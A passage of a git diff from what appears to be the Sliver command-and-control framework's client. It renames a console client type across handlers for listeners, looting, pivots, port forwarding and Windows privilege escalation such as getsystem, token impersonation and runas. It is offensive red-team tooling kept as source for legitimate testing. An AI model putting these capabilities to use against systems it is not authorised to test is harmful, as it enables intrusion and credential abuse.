+func MTLSListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { lhost, _ := cmd.Flags().GetString("lhost") lport, _ := cmd.Flags().GetUint32("lport") persistent, _ := cmd.Flags().GetBool("persistent") diff --git a/client/command/jobs/stage.go b/client/command/jobs/stage.go index d14b29df91..567dfa1f89 100644 --- a/client/command/jobs/stage.go +++ b/client/command/jobs/stage.go @@ -38,7 +38,7 @@ import ( ) // StageListenerCmd --url [tcp://ip:port | http://ip:port ] --profile name -func StageListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func StageListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { profileName, _ := cmd.Flags().GetString("profile") listenerURL, _ := cmd.Flags().GetString("url") aesEncryptKey, _ := cmd.Flags().GetString("aes-encrypt-key") diff --git a/client/command/jobs/wg.go b/client/command/jobs/wg.go index 9cc244be1c..da97dc675e 100644 --- a/client/command/jobs/wg.go +++ b/client/command/jobs/wg.go @@ -28,7 +28,7 @@ import ( ) // WGListenerCmd - Start a WireGuard listener -func WGListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func WGListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { lport, _ := cmd.Flags().GetUint32("lport") nport, _ := cmd.Flags().GetUint32("nport") keyExchangePort, _ := cmd.Flags().GetUint32("key-port") diff --git a/client/command/kill/commands.go b/client/command/kill/commands.go index e9b0bdac15..2128351edc 100644 --- a/client/command/kill/commands.go +++ b/client/command/kill/commands.go @@ -11,7 +11,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { killCmd := &cobra.Command{ Use: consts.KillStr, Short: "Kill a session", diff --git a/client/command/kill/kill.go b/client/command/kill/kill.go index 4c982d855d..250a104e95 100644 --- a/client/command/kill/kill.go +++ b/client/command/kill/kill.go @@ -32,7 +32,7 @@ import ( ) // KillCmd - Kill the active session (not to be confused with TerminateCmd) -func KillCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func KillCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() // Confirm with the user, just in case they confused kill with terminate confirm := false @@ -67,7 +67,7 @@ func KillCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string con.PrintErrorf("No active session or beacon\n") } -func KillSession(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) error { +func KillSession(session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) error { if session == nil { return errors.New("session does not exist") } @@ -84,7 +84,7 @@ func KillSession(session *clientpb.Session, cmd *cobra.Command, con *console.Sli return err } -func KillBeacon(beacon *clientpb.Beacon, cmd *cobra.Command, con *console.SliverConsoleClient) error { +func KillBeacon(beacon *clientpb.Beacon, cmd *cobra.Command, con *console.SliverClient) error { if beacon == nil { return errors.New("session does not exist") } diff --git a/client/command/licenses/commands.go b/client/command/licenses/commands.go index d0a9b18396..e1ade622e5 100644 --- a/client/command/licenses/commands.go +++ b/client/command/licenses/commands.go @@ -10,7 +10,7 @@ import ( ) // Commands returns the `licences` command. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { licensesCmd := &cobra.Command{ Use: consts.LicensesStr, Short: "Open source licenses", diff --git a/client/command/loot/commands.go b/client/command/loot/commands.go index 8b2368f4b5..dd22b06216 100644 --- a/client/command/loot/commands.go +++ b/client/command/loot/commands.go @@ -12,7 +12,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { lootCmd := &cobra.Command{ Use: consts.LootStr, Short: "Manage the server's loot store", @@ -120,11 +120,11 @@ func Commands(con *console.SliverConsoleClient) []*cobra.Command { } // FileTypeCompleter completes valid filetypes for loot. -func FileTypeCompleter(con *console.SliverConsoleClient) carapace.Action { +func FileTypeCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionValues("binary", "text").Tag("loot file type") } // LootTypeCompleter completes valid loot type for a loot. -func LootTypeCompleter(con *console.SliverConsoleClient) carapace.Action { +func LootTypeCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionValues("file", "cred").Tag("loot type") } diff --git a/client/command/loot/fetch.go b/client/command/loot/fetch.go index 0688fe0630..5f778da404 100644 --- a/client/command/loot/fetch.go +++ b/client/command/loot/fetch.go @@ -27,7 +27,7 @@ import ( ) // LootFetchCmd - Display the contents of or download a piece of loot -func LootFetchCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func LootFetchCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { loot, err := SelectLoot(cmd, con.Rpc) if err != nil { con.PrintErrorf("%s\n", err) diff --git a/client/command/loot/local.go b/client/command/loot/local.go index 696cf44301..446a595f71 100644 --- a/client/command/loot/local.go +++ b/client/command/loot/local.go @@ -33,7 +33,7 @@ import ( ) // LootAddLocalCmd - Add a local file to the server as loot -func LootAddLocalCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func LootAddLocalCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { localPath := args[0] if _, err := os.Stat(localPath); os.IsNotExist(err) { con.PrintErrorf("Path '%s' not found\n", localPath) diff --git a/client/command/loot/loot.go b/client/command/loot/loot.go index 0fbf41a3c9..faf48d9fdb 100644 --- a/client/command/loot/loot.go +++ b/client/command/loot/loot.go @@ -38,7 +38,7 @@ import ( ) // LootCmd - The loot root command -func LootCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func LootCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { allLoot, err := con.Rpc.LootAll(context.Background(), &commonpb.Empty{}) if err != nil { con.PrintErrorf("Failed to fetch loot %s\n", err) @@ -48,7 +48,7 @@ func LootCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string } // PrintAllFileLootTable - Displays a table of all file loot -func PrintAllFileLootTable(allLoot *clientpb.AllLoot, con *console.SliverConsoleClient) { +func PrintAllFileLootTable(allLoot *clientpb.AllLoot, con *console.SliverClient) { if allLoot == nil || len(allLoot.Loot) == 0 { con.PrintInfof("No loot 🙁\n") return @@ -77,7 +77,7 @@ func PrintAllFileLootTable(allLoot *clientpb.AllLoot, con *console.SliverConsole } // PrintLootFile - Display the contents of a piece of loot -func PrintLootFile(loot *clientpb.Loot, con *console.SliverConsoleClient) { +func PrintLootFile(loot *clientpb.Loot, con *console.SliverClient) { if loot.File == nil { return } diff --git a/client/command/loot/remote.go b/client/command/loot/remote.go index 3b8460a504..940fbc4f25 100644 --- a/client/command/loot/remote.go +++ b/client/command/loot/remote.go @@ -55,7 +55,7 @@ func ValidateLootFileType(lootFileTypeInput string, data []byte) clientpb.FileTy Eventually this function needs to be refactored out, but we made the decision to duplicate it for now */ -func PerformDownload(remotePath string, fileName string, cmd *cobra.Command, con *console.SliverConsoleClient) (*sliverpb.Download, error) { +func PerformDownload(remotePath string, fileName string, cmd *cobra.Command, con *console.SliverClient) (*sliverpb.Download, error) { ctrl := make(chan bool) con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, "loot"), ctrl) download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{ @@ -107,7 +107,7 @@ func CreateLootMessage(fileName string, lootName string, lootFileType clientpb.F return lootMessage } -func SendLootMessage(loot *clientpb.Loot, con *console.SliverConsoleClient) { +func SendLootMessage(loot *clientpb.Loot, con *console.SliverClient) { control := make(chan bool) con.SpinUntil(fmt.Sprintf("Sending looted file (%s) to the server...", loot.Name), control) @@ -125,7 +125,7 @@ func SendLootMessage(loot *clientpb.Loot, con *console.SliverConsoleClient) { } } -func LootDownload(download *sliverpb.Download, lootName string, fileType clientpb.FileType, cmd *cobra.Command, con *console.SliverConsoleClient) { +func LootDownload(download *sliverpb.Download, lootName string, fileType clientpb.FileType, cmd *cobra.Command, con *console.SliverClient) { // Was the download successful? if download.Response != nil && download.Response.Err != "" { con.PrintErrorf("%s\n", download.Response.Err) @@ -198,7 +198,7 @@ func LootDownload(download *sliverpb.Download, lootName string, fileType clientp } // LootAddRemoteCmd - Add a file from the remote system to the server as loot -func LootAddRemoteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func LootAddRemoteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return diff --git a/client/command/loot/rename.go b/client/command/loot/rename.go index ad45133016..0666870d67 100644 --- a/client/command/loot/rename.go +++ b/client/command/loot/rename.go @@ -29,7 +29,7 @@ import ( ) // LootRenameCmd - Rename a piece of loot -func LootRenameCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func LootRenameCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { loot, err := SelectLoot(cmd, con.Rpc) if err != nil { con.PrintErrorf("%s\n", err) diff --git a/client/command/loot/rm.go b/client/command/loot/rm.go index fef220e102..7377fba9d4 100644 --- a/client/command/loot/rm.go +++ b/client/command/loot/rm.go @@ -26,7 +26,7 @@ import ( "github.com/bishopfox/sliver/client/console" ) -func LootRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func LootRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { loot, err := SelectLoot(cmd, con.Rpc) if err != nil { con.PrintErrorf("%s\n", err) diff --git a/client/command/monitor/commands.go b/client/command/monitor/commands.go index 3a3080ee5d..da7c962e0c 100644 --- a/client/command/monitor/commands.go +++ b/client/command/monitor/commands.go @@ -8,7 +8,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { monitorCmd := &cobra.Command{ Use: consts.MonitorStr, Short: "Monitor threat intel platforms for Sliver implants", diff --git a/client/command/monitor/start.go b/client/command/monitor/start.go index d9133591e1..bafb59b16e 100644 --- a/client/command/monitor/start.go +++ b/client/command/monitor/start.go @@ -28,7 +28,7 @@ import ( ) // MonitorStartCmd - Start monitoring threat intel for implants -func MonitorStartCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func MonitorStartCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { resp, err := con.Rpc.MonitorStart(context.Background(), &commonpb.Empty{}) if err != nil { con.PrintErrorf("%s\n", err) diff --git a/client/command/monitor/stop.go b/client/command/monitor/stop.go index d4b553ea23..5857750e60 100644 --- a/client/command/monitor/stop.go +++ b/client/command/monitor/stop.go @@ -28,7 +28,7 @@ import ( ) // MonitorStopCmd - Stop monitoring threat intel for implants -func MonitorStopCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func MonitorStopCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { _, err := con.Rpc.MonitorStop(context.Background(), &commonpb.Empty{}) if err != nil { con.PrintErrorf("%s\n", err) diff --git a/client/command/network/commands.go b/client/command/network/commands.go index 31fd801e9f..137e5f68c5 100644 --- a/client/command/network/commands.go +++ b/client/command/network/commands.go @@ -11,7 +11,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { ifconfigCmd := &cobra.Command{ Use: consts.IfconfigStr, Short: "View network interface configurations", diff --git a/client/command/network/ifconfig.go b/client/command/network/ifconfig.go index 529b17d314..d72969cc5a 100644 --- a/client/command/network/ifconfig.go +++ b/client/command/network/ifconfig.go @@ -36,7 +36,7 @@ import ( ) // IfconfigCmd - Display network interfaces on the remote system -func IfconfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func IfconfigCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -65,7 +65,7 @@ func IfconfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } // PrintIfconfig - Print the ifconfig response -func PrintIfconfig(ifconfig *sliverpb.Ifconfig, all bool, con *console.SliverConsoleClient) { +func PrintIfconfig(ifconfig *sliverpb.Ifconfig, all bool, con *console.SliverClient) { var err error interfaces := ifconfig.NetInterfaces sort.Slice(interfaces, func(i, j int) bool { diff --git a/client/command/network/netstat.go b/client/command/network/netstat.go index e576c6e543..452c6d672f 100644 --- a/client/command/network/netstat.go +++ b/client/command/network/netstat.go @@ -34,7 +34,7 @@ import ( ) // NetstatCmd - Display active network connections on the remote system -func NetstatCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func NetstatCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -77,7 +77,7 @@ func NetstatCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str } } -func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string, numeric bool, con *console.SliverConsoleClient) { +func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string, numeric bool, con *console.SliverClient) { lookup := func(skaddr *sliverpb.SockTabEntry_SockAddr) string { addr := skaddr.Ip names, err := net.LookupAddr(addr) diff --git a/client/command/operators/commands.go b/client/command/operators/commands.go index 2713a124b3..acdf6c7835 100644 --- a/client/command/operators/commands.go +++ b/client/command/operators/commands.go @@ -11,7 +11,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { operatorsCmd := &cobra.Command{ Use: consts.OperatorsStr, Short: "Manage operators", diff --git a/client/command/operators/operators.go b/client/command/operators/operators.go index 792d227ca9..70824a341d 100644 --- a/client/command/operators/operators.go +++ b/client/command/operators/operators.go @@ -32,7 +32,7 @@ import ( ) // OperatorsCmd - Display operators and current online status -func OperatorsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func OperatorsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { operators, err := con.Rpc.GetOperators(context.Background(), &commonpb.Empty{}) if err != nil { con.PrintErrorf("%s\n", err) @@ -43,7 +43,7 @@ func OperatorsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s } } -func displayOperators(operators []*clientpb.Operator, con *console.SliverConsoleClient) { +func displayOperators(operators []*clientpb.Operator, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) tw.AppendHeader(table.Row{ diff --git a/client/command/pivots/commands.go b/client/command/pivots/commands.go index 9a3362da71..92a0b7db73 100644 --- a/client/command/pivots/commands.go +++ b/client/command/pivots/commands.go @@ -13,7 +13,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { pivotsCmd := &cobra.Command{ Use: consts.PivotsStr, Short: "List pivots for active session", diff --git a/client/command/pivots/details.go b/client/command/pivots/details.go index db21e9dde2..c7ab12571b 100644 --- a/client/command/pivots/details.go +++ b/client/command/pivots/details.go @@ -31,7 +31,7 @@ import ( ) // PivotDetailsCmd - Display pivots for all sessions -func PivotDetailsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func PivotDetailsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -71,7 +71,7 @@ func PivotDetailsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } // PrintPivotListenerDetails - Print details of a single pivot listener -func PrintPivotListenerDetails(listener *sliverpb.PivotListener, con *console.SliverConsoleClient) { +func PrintPivotListenerDetails(listener *sliverpb.PivotListener, con *console.SliverClient) { con.Printf("\n") con.Printf(" ID: %d\n", listener.ID) con.Printf(" Protocol: %s\n", PivotTypeToString(listener.Type)) diff --git a/client/command/pivots/graph.go b/client/command/pivots/graph.go index 0c8ad0f3ce..5e067cc146 100644 --- a/client/command/pivots/graph.go +++ b/client/command/pivots/graph.go @@ -30,7 +30,7 @@ import ( ) // PivotsGraphCmd - Display pivots for all sessions -func PivotsGraphCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func PivotsGraphCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { graph, err := con.Rpc.PivotGraph(context.Background(), &commonpb.Empty{}) if err != nil { con.PrintErrorf("%s\n", err) diff --git a/client/command/pivots/helpers.go b/client/command/pivots/helpers.go index b83f27a9b2..ea933ce4c7 100644 --- a/client/command/pivots/helpers.go +++ b/client/command/pivots/helpers.go @@ -35,7 +35,7 @@ import ( ) // SelectPivotListener - Interactive menu to select a pivot listener -func SelectPivotListener(listeners []*sliverpb.PivotListener, con *console.SliverConsoleClient) (*sliverpb.PivotListener, error) { +func SelectPivotListener(listeners []*sliverpb.PivotListener, con *console.SliverClient) (*sliverpb.PivotListener, error) { // Render selection table buf := bytes.NewBufferString("") table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0) @@ -67,7 +67,7 @@ func SelectPivotListener(listeners []*sliverpb.PivotListener, con *console.Slive } // PivotIDCompleter completes pivot listeners' IDs. -func PivotIDCompleter(con *console.SliverConsoleClient) carapace.Action { +func PivotIDCompleter(con *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { results := make([]string, 0) diff --git a/client/command/pivots/pivots.go b/client/command/pivots/pivots.go index a883bdbdab..fef208f5ef 100644 --- a/client/command/pivots/pivots.go +++ b/client/command/pivots/pivots.go @@ -30,7 +30,7 @@ import ( ) // PivotsCmd - Display pivots for all sessions -func PivotsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func PivotsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -55,7 +55,7 @@ func PivotsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri } // PrintPivotListeners - Print a table of pivot listeners -func PrintPivotListeners(pivotListeners []*sliverpb.PivotListener, con *console.SliverConsoleClient) { +func PrintPivotListeners(pivotListeners []*sliverpb.PivotListener, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) tw.AppendHeader(table.Row{ diff --git a/client/command/pivots/start.go b/client/command/pivots/start.go index 34658b9eea..69f38e8ddf 100644 --- a/client/command/pivots/start.go +++ b/client/command/pivots/start.go @@ -29,7 +29,7 @@ import ( ) // StartTCPListenerCmd - Start a TCP pivot listener on the remote system -func StartTCPListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func StartTCPListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -53,7 +53,7 @@ func StartTCPListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a } // StartNamedPipeListenerCmd - Start a TCP pivot listener on the remote system -func StartNamedPipeListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func StartNamedPipeListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return diff --git a/client/command/pivots/stop.go b/client/command/pivots/stop.go index 39caac33ab..6487d08e4d 100644 --- a/client/command/pivots/stop.go +++ b/client/command/pivots/stop.go @@ -28,7 +28,7 @@ import ( ) // StopPivotListenerCmd - Start a TCP pivot listener on the remote system -func StopPivotListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func StopPivotListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return diff --git a/client/command/portfwd/commands.go b/client/command/portfwd/commands.go index 003c247443..bf4930a6c8 100644 --- a/client/command/portfwd/commands.go +++ b/client/command/portfwd/commands.go @@ -13,7 +13,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { portfwdCmd := &cobra.Command{ Use: consts.PortfwdStr, Short: "In-band TCP port forwarding", diff --git a/client/command/portfwd/portfwd-add.go b/client/command/portfwd/portfwd-add.go index 36559441df..a85e03e6a1 100644 --- a/client/command/portfwd/portfwd-add.go +++ b/client/command/portfwd/portfwd-add.go @@ -35,7 +35,7 @@ import ( var portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$") // PortfwdAddCmd - Add a new tunneled port forward -func PortfwdAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func PortfwdAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return diff --git a/client/command/portfwd/portfwd-rm.go b/client/command/portfwd/portfwd-rm.go index ebcc5f5bda..f09f1281c5 100644 --- a/client/command/portfwd/portfwd-rm.go +++ b/client/command/portfwd/portfwd-rm.go @@ -26,7 +26,7 @@ import ( ) // PortfwdRmCmd - Remove an existing tunneled port forward -func PortfwdRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func PortfwdRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { portfwdID, _ := cmd.Flags().GetInt("id") if portfwdID < 1 { con.PrintErrorf("Must specify a valid portfwd id\n") diff --git a/client/command/portfwd/portfwd.go b/client/command/portfwd/portfwd.go index 82c667168b..b7cfee7b5e 100644 --- a/client/command/portfwd/portfwd.go +++ b/client/command/portfwd/portfwd.go @@ -33,12 +33,12 @@ import ( ) // PortfwdCmd - Display information about tunneled port forward(s) -func PortfwdCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func PortfwdCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { PrintPortfwd(con) } // PrintPortfwd - Print the port forward(s) -func PrintPortfwd(con *console.SliverConsoleClient) { +func PrintPortfwd(con *console.SliverClient) { portfwds := core.Portfwds.List() if len(portfwds) == 0 { con.PrintInfof("No port forwards\n") @@ -68,7 +68,7 @@ func PrintPortfwd(con *console.SliverConsoleClient) { } // PortfwdIDCompleter completes IDs of local portforwarders -func PortfwdIDCompleter(_ *console.SliverConsoleClient) carapace.Action { +func PortfwdIDCompleter(_ *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { results := make([]string, 0) diff --git a/client/command/prelude-operator/commands.go b/client/command/prelude-operator/commands.go index 9167d3037b..f152788fdf 100644 --- a/client/command/prelude-operator/commands.go +++ b/client/command/prelude-operator/commands.go @@ -12,7 +12,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { operatorCmd := &cobra.Command{ Use: consts.PreludeOperatorStr, Short: "Manage connection to Prelude's Operator", diff --git a/client/command/prelude-operator/connect.go b/client/command/prelude-operator/connect.go index 93e9ee9c10..be07ff9aba 100644 --- a/client/command/prelude-operator/connect.go +++ b/client/command/prelude-operator/connect.go @@ -29,7 +29,7 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" ) -func ConnectCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ConnectCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { url := args[0] aesKey, _ := cmd.Flags().GetString("aes-key") agentRange, _ := cmd.Flags().GetString("range") diff --git a/client/command/prelude-operator/operator.go b/client/command/prelude-operator/operator.go index af91ba9d4f..f36a692150 100644 --- a/client/command/prelude-operator/operator.go +++ b/client/command/prelude-operator/operator.go @@ -25,7 +25,7 @@ import ( "github.com/bishopfox/sliver/client/prelude" ) -func OperatorCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func OperatorCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { if prelude.ImplantMapper != nil { con.PrintInfof("Connected to Operator at %s\n", prelude.ImplantMapper.GetConfig().OperatorURL) return diff --git a/client/command/privilege/commands.go b/client/command/privilege/commands.go index 995fec1bc8..32095e4a7d 100644 --- a/client/command/privilege/commands.go +++ b/client/command/privilege/commands.go @@ -13,7 +13,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { runAsCmd := &cobra.Command{ Use: consts.RunAsStr, Short: "Run a new process in the context of the designated user (Windows Only)", diff --git a/client/command/privilege/getprivs.go b/client/command/privilege/getprivs.go index 13baa95a01..6dcc14307e 100644 --- a/client/command/privilege/getprivs.go +++ b/client/command/privilege/getprivs.go @@ -32,7 +32,7 @@ import ( ) // GetPrivsCmd - Get the current process privileges (Windows only) -func GetPrivsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func GetPrivsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -67,7 +67,7 @@ func GetPrivsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } // PrintGetPrivs - Print the results of the get privs command -func PrintGetPrivs(privs *sliverpb.GetPrivs, pid int32, con *console.SliverConsoleClient) { +func PrintGetPrivs(privs *sliverpb.GetPrivs, pid int32, con *console.SliverClient) { // Response is the Envelope (see RPC API), Err is part of it. if privs.Response != nil && privs.Response.Err != "" { con.PrintErrorf("NOTE: Information may be incomplete due to an error:\n") diff --git a/client/command/privilege/getsystem.go b/client/command/privilege/getsystem.go index 42771d77ba..20b862760b 100644 --- a/client/command/privilege/getsystem.go +++ b/client/command/privilege/getsystem.go @@ -31,7 +31,7 @@ import ( ) // GetSystemCmd - Windows only, attempt to get SYSTEM on the remote system -func GetSystemCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func GetSystemCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -75,7 +75,7 @@ func GetSystemCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s } // PrintGetSystem - Print the results of get system -func PrintGetSystem(getsystemResp *sliverpb.GetSystem, con *console.SliverConsoleClient) { +func PrintGetSystem(getsystemResp *sliverpb.GetSystem, con *console.SliverClient) { if getsystemResp.Response != nil && getsystemResp.Response.GetErr() != "" { con.PrintErrorf("%s\n", getsystemResp.GetResponse().GetErr()) return diff --git a/client/command/privilege/impersonate.go b/client/command/privilege/impersonate.go index 5fb3290726..95d764e81f 100644 --- a/client/command/privilege/impersonate.go +++ b/client/command/privilege/impersonate.go @@ -31,7 +31,7 @@ import ( ) // ImpersonateCmd - Windows only, impersonate a user token -func ImpersonateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ImpersonateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -63,7 +63,7 @@ func ImpersonateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ } // PrintImpersonate - Print the results of the attempted impersonation -func PrintImpersonate(impersonate *sliverpb.Impersonate, username string, con *console.SliverConsoleClient) { +func PrintImpersonate(impersonate *sliverpb.Impersonate, username string, con *console.SliverClient) { if impersonate.Response != nil && impersonate.Response.GetErr() != "" { con.PrintErrorf("%s\n", impersonate.Response.GetErr()) return diff --git a/client/command/privilege/make-token.go b/client/command/privilege/make-token.go index ae1ee3fcc1..f3b02aad01 100644 --- a/client/command/privilege/make-token.go +++ b/client/command/privilege/make-token.go @@ -41,7 +41,7 @@ var logonTypes = map[string]uint32{ } // MakeTokenCmd - Windows only, create a token using "valid" credentails -func MakeTokenCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func MakeTokenCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -95,7 +95,7 @@ func MakeTokenCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s } // PrintMakeToken - Print the results of attempting to make a token -func PrintMakeToken(makeToken *sliverpb.MakeToken, domain string, username string, con *console.SliverConsoleClient) { +func PrintMakeToken(makeToken *sliverpb.MakeToken, domain string, username string, con *console.SliverClient) { if makeToken.Response != nil && makeToken.Response.GetErr() != "" { con.PrintErrorf("%s\n", makeToken.Response.GetErr()) return diff --git a/client/command/privilege/rev2self.go b/client/command/privilege/rev2self.go index 2b5dea324a..069b8b329a 100644 --- a/client/command/privilege/rev2self.go +++ b/client/command/privilege/rev2self.go @@ -31,7 +31,7 @@ import ( ) // RevToSelfCmd - Drop any impersonated tokens -func RevToSelfCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func RevToSelfCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -61,7 +61,7 @@ func RevToSelfCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s } // PrintRev2Self - Print the result of revert to self -func PrintRev2Self(revert *sliverpb.RevToSelf, con *console.SliverConsoleClient) { +func PrintRev2Self(revert *sliverpb.RevToSelf, con *console.SliverClient) { if revert.Response != nil && revert.Response.GetErr() != "" { con.PrintErrorf("%s\n", revert.Response.GetErr()) return diff --git a/client/command/privilege/runas.go b/client/command/privilege/runas.go index a83e6c5576..ade8aa8768 100644 --- a/client/command/privilege/runas.go +++ b/client/command/privilege/runas.go @@ -31,7 +31,7 @@ import ( ) // RunAsCmd - Run a command as another user on the remote system -func RunAsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func RunAsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -87,7 +87,7 @@ func RunAsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []strin } // PrintRunAs - Print the result of run as -func PrintRunAs(runAs *sliverpb.RunAs, process string, args string, name string, con 